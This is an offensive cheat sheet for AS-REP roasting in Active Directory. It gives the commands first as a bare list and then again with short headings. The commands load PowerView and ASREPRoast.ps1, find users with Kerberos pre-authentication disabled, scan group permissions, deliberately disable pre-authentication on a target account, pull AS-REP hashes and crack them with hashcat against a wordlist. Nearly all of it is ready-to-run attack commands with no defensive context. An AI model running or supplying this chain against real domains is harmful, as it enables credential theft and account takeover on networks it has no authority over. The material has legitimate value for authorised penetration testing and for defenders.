. .\Powerview_dev.ps1
Enumerating accounts with Kerberos pre-auth disabled
Get-DomainUser -PreauthNotRequired -Verbose
Get-DomainUser -PreauthNotRequired -verbose | select samaccountname
Enumerate permissions for group
Invoke-ACLScanner -ResolveGUIDS | Where-Object {$_.IdentityReference -match “<groupname>”}
Invoke-ACLScanner -ResolveGUIDS | Where-Object {$_.IdentityReference -match “<groupname>”} | select IdentityReference, ObjectDN, ActiveDirectoryRights | fl
Set pre-auth not required
. ./PowerView_dev.ps1
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
Request encrypted AS-REP
. ./ASREPRoast.ps1
Get-ASREPHash -Username <username> -Verbose
Enumerate all users with Kerberos pre-auth disabled and request a hash
Invoke-ASREPRoast -Verbose
Invoke-ASREPRoast -Verbose | fl
Crack the hash with hashcat
Hashcat -a 0 -m 18200 hash.txt rockyou.txt
Active Directory Kerberos Enumeration and Modification
Enumerating Accounts with Disabled Kerberos Pre-Authentication
First, load the PowerView PowerShell module:
. .\Powerview_dev.ps1
Then, retrieve all users with pre-authentication not required, using:
Get-DomainUser -PreauthNotRequired -Verbose
Or, list only their usernames:
Get-DomainUser -PreauthNotRequired -verbose | select samaccountname
Enumerating Permissions for a Group
To find permissions for a specific group:
Invoke-ACLScanner -ResolveGUIDS | Where-Object {$_.IdentityReference -match "<groupname>"}
For a detailed list:
Invoke-ACLScanner -ResolveGUIDS | Where-Object {$_.IdentityReference -match "<groupname>"} | select IdentityReference, ObjectDN, ActiveDirectoryRights | fl
Disabling Kerberos Pre-Authentication for a User
Load the PowerView script and run:
. ./PowerView_dev.ps1
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
Requesting Encrypted AS-REP for a User
After loading the ASREPRoast script:
. ./ASREPRoast.ps1
Get-ASREPHash -Username <username> -Verbose
Roasting Users with Pre-Auth Disabled
To enumerate and roast all users:
Invoke-ASREPRoast -Verbose
Invoke-ASREPRoast -Verbose | fl
Cracking the Hash
Finally, crack the retrieved hash using hashcat:
Hashcat -a 0 -m 18200 hash.txt rockyou.txt
